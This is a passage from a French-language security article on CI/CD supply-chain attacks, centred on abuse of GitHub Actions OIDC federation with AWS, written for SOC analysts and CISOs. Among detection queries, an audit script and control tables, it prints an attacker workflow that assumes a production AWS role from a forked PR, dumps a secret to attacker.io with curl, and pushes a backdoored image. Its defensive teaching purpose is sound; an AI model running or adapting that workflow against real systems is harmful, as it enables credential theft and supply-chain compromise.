# Flag if branch allows admin bypass (very common)
enforce_admins = protection.get('enforce_admins', {}).get('enabled', False)
if not enforce_admins:
print(f" ⚠️ ADMINS CAN BYPASS PROTECTION {branch_name}")
elif protection_resp.status_code == 404:
print(f"Branch: {branch_name} NO PROTECTION (direct push allowed)")
# Step 2: Check if .github/workflows/ is in any required review path filter
# If it's in paths-ignore, workflow changes don't require review
rulesets_resp = requests.get(
f"https://api.github.com/repos/{ORG}/{REPO}/rulesets",
headers=headers
)
if rulesets_resp.status_code == 200:
for ruleset in rulesets_resp.json():
print(f"\nRuleset: {ruleset['name']}")
print(f" Conditions: {json.dumps(ruleset.get('conditions', {}), indent=2)}")
Perspective du Défenseur : Détection de Modification des Fichiers de Pipeline
// KQL Alert on any modification to pipeline definition files
// Critical: these changes should ALWAYS go through mandatory review
GitHubAuditLog
| where TimeGenerated > ago(1d)
| where Action in ("git.push", "protected_branch.policy_override",
"repo.contents.commit")
| extend Data = parse_json(Data)
| extend ChangedFiles = Data.modified_files
| mv-expand ChangedFiles
| extend FileName = tostring(ChangedFiles)
// Match any pipeline configuration file regardless of platform
| where FileName matches regex @"(\.github/workflows/.*\.ya?ml|Jenkinsfile.*|\.gitlab-ci\.ya?ml|azure-pipelines\.ya?ml|\.circleci/config\.ya?ml|bitbucket-pipelines\.ya?ml)"
| extend Pusher = tostring(Data.actor)
| extend Branch = tostring(Data.ref)
| extend CommitSHA = tostring(Data.sha)
// Flag pushes to protected branches that bypass required reviews
| extend BypassedProtection = tobool(Data.bypassed_protection)
| project TimeGenerated, Pusher, Branch, FileName, CommitSHA, BypassedProtection
| order by TimeGenerated desc
// KQL Detect unusual credential access patterns during CI pipeline runs
// Cross-reference: which secrets were accessed by which pipeline and which branch?
// Requires: Azure Key Vault diagnostic logs + GitHub Actions audit log correlation
AzureDiagnostics
| where ResourceType == "VAULTS" and OperationName == "SecretGet"
| where TimeGenerated > ago(1d)
// Filter to requests coming from CI infrastructure (service principal or runner IP range)
| where CallerIPAddress in (toscalar(_GetWatchlist('CIRunnerIPRanges') | summarize make_list(IP)))
// Identify the service principal used
| extend CallerObjectId = tostring(parse_json(identity_claim_oid_g))
// Correlate with GitHub audit log to find which workflow job requested these secrets
| join kind=inner (
GitHubAuditLog
| where Action == "workflows.completed_workflow_run"
| extend WorkflowData = parse_json(Data)
| project WorkflowStartTime = TimeGenerated,
Branch = tostring(WorkflowData.head_branch),
CommitSHA = tostring(WorkflowData.head_sha),
WorkflowPath = tostring(WorkflowData.path),
Conclusion = tostring(WorkflowData.conclusion)
) on $left.TimeGenerated between (WorkflowStartTime .. WorkflowStartTime + 30m)
// Alert if secrets were accessed by a workflow running on a non-main branch
| where Branch !in ("main", "master", "release")
| project TimeGenerated, Branch, CommitSHA, WorkflowPath, SecretName = ResourceId,
CallerIPAddress, Conclusion
| order by TimeGenerated desc
Surface d'Attaque de l'Injection de Pipeline-as-Code par Plateforme
| Plateforme | Fichier de pipeline | Exécute le pipeline de branche de fonctionnalité ? | Portée des secrets par défaut | Contournement de la revue requise | Journalisé dans l'audit |
|---|---|---|---|---|---|
| GitHub Actions | .github/workflows/*.yml | Oui le workflow propre à chaque branche | Secrets de dépôt + org | Mauvaise config paths-ignore ; contournement admin | Oui (GH Enterprise) |
| Jenkins | Jenkinsfile | Oui build le Jenkinsfile de la branche | Tous les identifiants du magasin | Aucune protection de branche dans Jenkins | Partiel journal de build Jenkins |
| GitLab CI | .gitlab-ci.yml | Oui le pipeline de MR utilise le fichier de branche | Variables CI/CD cloisonnées au projet | Règles de branche protégée ; include: transitif | Oui (événements d'audit GitLab) |
| Azure DevOps | azure-pipelines.yml | Oui la PR valide le pipeline de branche | Groupes de variables + Azure Key Vault | Contournement de permission via templates | Oui (journal d'audit ADO) |
| CircleCI | .circleci/config.yml | Oui orb/config depuis la branche | Variables de contexte (cloisonnées à l'org) | Aucune barrière d'approbation par défaut | Limité |
Les fichiers de définition de pipeline sont la cible à plus fort effet de levier de votre chaîne d'approvisionnement, car ils combinent capacité d'exécution de code et accès aux identifiants dans un seul fichier que la plupart des équipes ne traitent pas comme une infrastructure critique pour la sécurité. Mais même sans toucher au fichier de pipeline, un attaquant disposant de la fédération OIDC configurée peut ignorer entièrement les identifiants et s'authentifier directement auprès de votre cloud comme s'il était votre pipeline CI, ce que couvre la Section 5.
Section 5 : Abus de la Fédération OIDC Passer de GitHub Actions à la Production AWS Sans Voler le Moindre Identifiant
La fédération OIDC (OpenID Connect) entre les plateformes CI/CD et les fournisseurs cloud a été introduite pour résoudre le problème du « secret zéro » : au lieu de stocker des clés d'accès AWS à longue durée de vie ou des clés de compte de service GCP comme secrets CI (qui peuvent être volées et utilisées indéfiniment), la plateforme CI agit comme fournisseur d'identité et émet des jetons JWT de courte durée que le fournisseur cloud accepte en échange d'identifiants cloud temporaires. La conception est saine. Les détails d'implémentation dans la plupart des organisations ne le sont pas.
GitHub Actions émet des jetons OIDC contenant des claims décrivant le workflow qui a demandé le jeton : le nom du dépôt, la branche, le chemin du workflow, l'environnement, l'acteur. Les rôles IAM AWS configurés pour faire confiance au fournisseur OIDC de GitHub valident ces claims dans l'appel sts:AssumeRoleWithWebIdentity. La sécurité de tout le système repose sur la précision avec laquelle ces claims sont contraints dans la politique de confiance du rôle IAM. Lorsque la politique de confiance ne valide que sub (sujet) par dépôt mais pas par branche ou environnement, n'importe quel workflow de ce dépôt y compris un s'exécutant sur une branche de fonctionnalité, déclenché par la PR d'un contributeur externe, ou injecté via les techniques de la Section 4 peut endosser le rôle IAM de production. Ce n'est pas une vulnérabilité d'OIDC lui-même ; c'est la mauvaise configuration par défaut quasi universelle.
Le jeton OIDC que GitHub émet est un JWT signé. Si vous le décodez, le claim sub ressemble à ceci pour un workflow sur main : repo:myorg/myrepo:ref:refs/heads/main. Pour un workflow déclenché par une PR depuis un fork : repo:myorg/myrepo:pull_request. Pour un environnement spécifique : repo:myorg/myrepo:environment:production. Une politique de confiance qui ne correspond qu'à repo:myorg/myrepo:* accepte les jetons de tous ces contextes, y compris le workflow déclenché par la PR d'un fork sans accès interne mais avec la pleine capacité d'endosser votre rôle IAM de production.
Flux d'Attaque
Perspective de l'Attaquant : Abus du Jeton OIDC
# Malicious GitHub Actions workflow exploits misconfigured OIDC trust policy
# Attacker submits PR to any branch of myorg/myrepo
# No secrets needed OIDC issues a token automatically
name: CI Checks
on:
pull_request: # Triggered by PR attacker controls the fork
permissions:
id-token: write # This permission is required to request OIDC token
contents: read
jobs:
exploit:
runs-on: ubuntu-latest
steps:
- name: Assume AWS production role via OIDC
uses: aws-actions/configure-aws-credentials@v4
with:
# This is the target organization's production deployment role ARN
# Obtainable from: public Terraform configs, job postings, CloudFormation exports
role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
aws-region: us-east-1
# The action handles OIDC token request and AssumeRoleWithWebIdentity
# If the trust policy uses StringLike with a wildcard, this succeeds
# even from a forked PR
- name: Enumerate what we have access to
run: |
# Verify the assumed role identity
aws sts get-caller-identity
# List all S3 buckets accessible to this role
aws s3 ls
# Check ECR repositories (production container registry)
aws ecr describe-repositories --region us-east-1
# List secrets in Secrets Manager
aws secretsmanager list-secrets --region us-east-1
# Exfiltrate a production secret directly
aws secretsmanager get-secret-value \
--secret-id prod/database/credentials \
--region us-east-1 | \
curl -s -X POST https://attacker.io/collect --data-binary @-
# Push a backdoored container image to production ECR
# First, get ECR login token using the assumed role
aws ecr get-login-password --region us-east-1 | \
docker login --username AWS --password-stdin 123456789012.dkr.ecr.us-east-1.amazonaws.com
# Pull the legitimate latest production image
docker pull 123456789012.dkr.ecr.us-east-1.amazonaws.com/production-api:latest
# Add backdoor layer and push back as "latest"
# (This persists even after the OIDC token expires)
# Python script to audit OIDC trust policies across all IAM roles in an account
# Run this as a defensive audit identifies overly permissive OIDC configurations
# Requires: AWS credentials with iam:GetRole and iam:ListRoles
import boto3
import json
import urllib.parse
iam = boto3.client('iam')
def audit_oidc_trust_policies():
"""
Enumerate all IAM roles and flag those with overly permissive
GitHub Actions OIDC trust conditions.
"""
paginator = iam.get_paginator('list_roles')
findings = []
for page in paginator.paginate():
for role in page['Roles']:
trust_policy = json.loads(
urllib.parse.unquote(role['AssumeRolePolicyDocument'])
if isinstance(role['AssumeRolePolicyDocument'], str)
else json.dumps(role['AssumeRolePolicyDocument'])
)
for statement in trust_policy.get('Statement', []):
principal = statement.get('Principal', {})
federated = principal.get('Federated', '')
# Check if this role trusts GitHub's OIDC provider
if 'token.actions.githubusercontent.com' in str(federated):
conditions = statement.get('Condition', {})
sub_condition = (
conditions.get('StringEquals', {}).get(
'token.actions.githubusercontent.com:sub', ''
) or
conditions.get('StringLike', {}).get(
'token.actions.githubusercontent.com:sub', ''
)
)
# Detect overly permissive sub conditions
sub_str = str(sub_condition)
is_vulnerable = False
vulnerability_reason = ""
# Wildcard that matches pull_request context
if ':*' in sub_str and ':pull_request' not in sub_str:
is_vulnerable = True
vulnerability_reason = "Wildcard sub allows pull_request context"
# Missing sub condition entirely
if not sub_condition:
is_vulnerable = True
vulnerability_reason = "No sub condition any GitHub token accepted"
# Sub only scoped to repo, not branch or environment
if 'refs/heads/' not in sub_str and 'environment:' not in sub_str:
is_vulnerable = True
vulnerability_reason = "Sub not scoped to branch or environment"
if is_vulnerable:
findings.append({
'RoleName': role['RoleName'],
'RoleArn': role['Arn'],
'SubCondition': sub_condition,
'Vulnerability': vulnerability_reason
})
return findings
findings = audit_oidc_trust_policies()
for f in findings:
print(f"⚠️ VULNERABLE ROLE: {f['RoleName']}")
print(f" ARN: {f['RoleArn']}")
print(f" Sub condition: {f['SubCondition']}")
print(f" Issue: {f['Vulnerability']}")
print()
Perspective du Défenseur : Détection CloudTrail de l'Abus OIDC
// KQL Detect AssumeRoleWithWebIdentity calls from unexpected GitHub contexts
// Source: AWS CloudTrail logs forwarded to Sentinel
AWSCloudTrail
| where TimeGenerated > ago(1d)
| where EventName == "AssumeRoleWithWebIdentity"
// Parse the web identity token subject from the request parameters
| extend RequestParams = parse_json(RequestParameters)
| extend WebIdentityToken = tostring(RequestParams.webIdentityToken)
// The JWT is base64 encoded decode the payload to get claims
// In practice, AWS logs the decoded sub claim in the request
| extend SubClaim = tostring(RequestParams.providerId)
| extend RoleArn = tostring(RequestParams.roleArn)
// Flag assumptions from pull_request context (should NEVER assume production roles)
| where SubClaim contains ":pull_request"
or SubClaim contains "pull_request"
// Also flag assumptions from unexpected branches
| where SubClaim !contains "refs/heads/main"
and SubClaim !contains "refs/heads/master"
and SubClaim !contains "environment:production"
and SubClaim !contains "environment:staging"
// Filter to your production IAM roles only
| where RoleArn contains "deploy" or RoleArn contains "prod" or RoleArn contains "release"
| extend AssumedRoleUser = parse_json(ResponseElements).assumedRoleUser.arn
| project TimeGenerated, RoleArn, SubClaim, AssumedRoleUser,
SourceIPAddress, UserAgent, ErrorCode
| order by TimeGenerated desc
// KQL Detect anomalous API calls made with CI/CD assumed role credentials
// Baseline: what does your deploy role normally call?
// Alert: anything outside that baseline
let NormalDeployAPIs = datatable(EventName:string) [
"ecr:GetAuthorizationToken",
"ecr:BatchCheckLayerAvailability",
"ecr:PutImage",
"s3:PutObject", // Deploy artifacts
"s3:GetObject", // Read config
"ecs:UpdateService", // Update ECS task
"ecs:DescribeServices"
];
AWSCloudTrail
| where TimeGenerated > ago(1d)
// Filter to API calls made by your CI/CD assumed role
| where UserIdentity contains "github-actions-deploy"
or UserIdentity contains "ci-deploy-role"
// Alert on anything NOT in the normal baseline
| where EventName !in (NormalDeployAPIs)
// Exclude describe/list calls (read-only recon is still suspicious but lower priority)
// Remove this filter to catch reconnaissance phase
| where EventName !startswith "Describe"
and EventName !startswith "List"
and EventName !startswith "Get"
| extend CallerIdentity = parse_json(UserIdentity)
| project TimeGenerated, EventName, SourceIPAddress,
tostring(CallerIdentity.sessionContext.sessionIssuer.arn),
tostring(RequestParameters), ErrorCode
| order by TimeGenerated desc
Comparaison de Sécurité des Politiques de Confiance OIDC : Configurations Faibles vs Fortes
| Configuration | Exemple de condition sub | Accepte une PR de fork ? | Accepte une branche de fonctionnalité ? | Recommandée |
|---|---|---|---|---|
Pas de condition sub | (absente) | Oui | Oui | Jamais autorise tout jeton GitHub |
| Joker de dépôt | repo:myorg/myrepo:* | Oui ⚠️ | Oui ⚠️ | Non joker trop large |
| Dépôt + joker de ref | repo:myorg/myrepo:ref:refs/heads/* | Non | Oui ⚠️ | Non toute branche peut déployer |
| Dépôt + branche main | repo:myorg/myrepo:ref:refs/heads/main | Non | Non | Oui mais pas d'isolation d'environnement |
| Dépôt + environnement nommé | repo:myorg/myrepo:environment:production | Non | Non | Oui bonne pratique |
| Dépôt + environnement + branche | Les deux conditions combinées avec StringEquals | Non | Non | Idéal défense en profondeur |
Le jeton OIDC est valide 60 minutes après son émission. Pendant cette fenêtre, chaque appel d'API que le rôle endossé peut effectuer est indiscernable d'un déploiement CI légitime. Le seul artefact forensique est l'événement CloudTrail AssumeRoleWithWebIdentity avec le claim sub, sur lequel la plupart des équipes n'alertent jamais parce qu'elles ne savent pas qu'il faut chercher le motif de claim sub :pull_request.
Action du RSSI Quoi Corriger, Dans Quel Ordre, et Ce Que Cela Coûte Réellement
Les cinq techniques de cet article forment une chaîne, pas une liste. Un attaquant démarre au point d'entrée le moins coûteux une PR forkée contre un workflow pull_request_target obtient l'exécution de code sur un runner, atteint de là les identifiants cloud via IMDS ou OIDC, et utilise ces identifiants pour pousser un artefact piégé vers votre registre de conteneurs qui survit bien après la révocation de l'accès initial. Chaque maillon de cette chaîne offre une opportunité de détection et un contrôle qui le brise. La plupart des contrôles coûtent moins que la valeur d'un sprint de temps d'ingénierie.
Architecture de Détection
Tableau de Contrôles Priorisés
| Contrôle | Impact | Effort | Pointeur d'implémentation |
|---|---|---|---|
| Diffuser le journal d'audit GitHub vers le SIEM | Critique aveugle sans lui | Faible (1-2 jours) | GitHub Enterprise : Settings → Audit log → Log streaming → connecteur Splunk/Sentinel. Sans cela, aucune visibilité sur les déclencheurs de workflow, les contournements de protection de branche ou l'accès aux secrets. |
| Restreindre les politiques de confiance OIDC à un environnement nommé | Critique | Faible (heures par rôle) | Dans la politique de confiance IAM : "StringEquals": {"token.actions.githubusercontent.com:sub": "repo:myorg/myrepo:environment:production"}. Exécutez d'abord le script d'audit de la Section 5 pour identifier tous les rôles concernés. |
Bloquer le motif pull_request_target + checkout de fork | Critique | Faible (heures) | Ajoutez une règle Semgrep en pre-commit et CI : rules: - id: dangerous-pull-request-target. Alertez + bloquez tout nouveau workflow utilisant ce motif. Révisez immédiatement tous les workflows existants. |
Exiger une revue pour les modifications de .github/workflows/ | Élevé | Faible | GitHub : Branch Protection → « Require pull request reviews » → ajoutez « /.github/workflows/ » comme chemin requis. Créez aussi une entrée CODEOWNERS pour .github/workflows/ pointant vers l'équipe de sécurité. |
| Imposer IMDSv2 sur tous les hôtes de runner | Élevé | Faible-Moyen | AWS : aws ec2 modify-instance-metadata-options --instance-id <id> --http-tokens required. Pour les nouvelles instances : définissez HttpTokensRequired dans les templates de lancement. Élimine l'exfil IMDS via SSRF depuis les processus du runner. |
| Isoler les espaces de noms des paquets internes dans un registre privé | Élevé | Moyen (jours) | Artifactory : créez un « virtual repo » qui ne sert que les paquets internes et ne proxifie PAS vers le registre public. Repo virtuel séparé pour les paquets publics. Configurez tous les builds pour utiliser le repo virtuel interne. Réclamez tous les noms de paquets internes sur les registres publics comme stubs vides. |
| Épingler toutes les dépendances de production par hachage | Élevé | Moyen-Élevé | npm : npm shrinkwrap puis committez package-lock.json. pip : pip-compile --generate-hashes. Vérifiez les hachages en CI : pip install --require-hashes -r requirements.txt. Ajoute de la friction aux mises à jour CI mais élimine les attaques par confusion basées sur la version. |
| Déployer les runners auto-hébergés comme pods éphémères | Moyen-Élevé | Élevé (semaines) | Remplacez les runners VM persistants par des runners éphémères basés sur Kubernetes (Actions Runner Controller ou runners éphémères GitLab). Chaque job obtient un pod neuf ; l'espace de travail ne persiste pas. Élimine entièrement la persistance sur l'hôte du runner. |
| Alerter sur les appels d'API du rôle de déploiement hors référence | Moyen | Moyen | Exécutez le KQL de référence de la Section 5 sur 30 jours de CloudTrail pour établir l'ensemble normal d'appels d'API de votre rôle de déploiement. Paramétrez la table NormalDeployAPIs. Réglez le seuil d'alerte sur tout appel hors de cet ensemble en sévérité P0. |
| Signer et vérifier tous les artefacts de build | Moyen | Élevé | Sigstore/Cosign : cosign sign --key cosign.key image:tag. Vérifiez au déploiement : cosign verify --key cosign.pub image:tag. Détecte les images piégées poussées vers le registre par un attaquant avec des identifiants ECR volés. |
Votre pipeline CI/CD n'est pas une préoccupation DevOps que les équipes de sécurité auditent chaque année. C'est un système de production privilégié disposant de plus d'accès à votre environnement cloud que la plupart de vos développeurs, et il exécute du code qui n'est jamais révisé par votre EDR, votre WAF ou votre DLP. La surface d'attaque décrite ici PR forkées, runners persistants, registres de paquets publics, fichiers YAML de pipeline, politiques de confiance OIDC est active dans presque toutes les organisations ayant adopté une pile CI/CD moderne, et elle est activement exploitée par des groupes allant des mineurs de cryptomonnaie opportunistes aux APT ciblant la chaîne d'approvisionnement logicielle. Aucun des contrôles du tableau ci-dessus n'exige l'achat d'un nouveau produit. Chaque requête de détection ici peut s'exécuter dans Sentinel, Splunk ou Elastic contre des journaux que vous possédez probablement déjà ou pouvez activer gratuitement. La question n'est pas de savoir si vous avez été ciblé de cette façon ; c'est de savoir si vous le sauriez.
Tags : supply-chain, ci-cd, github-actions, jenkins, detection-engineering, cloud-security, oidc, dependency-confusion, soc-operations, threat-hunting
Public : Analystes SOC · Ingénieurs de détection · RSSI
MITRE ATT&CK : T1195.002 (Compromise Software Supply Chain), T1552.001 (Credentials in Files), T1078.004 (Cloud Accounts), T1059 (Command and Scripting Interpreter), T1611 (Escape to Host), T1528 (Steal Application Access Token)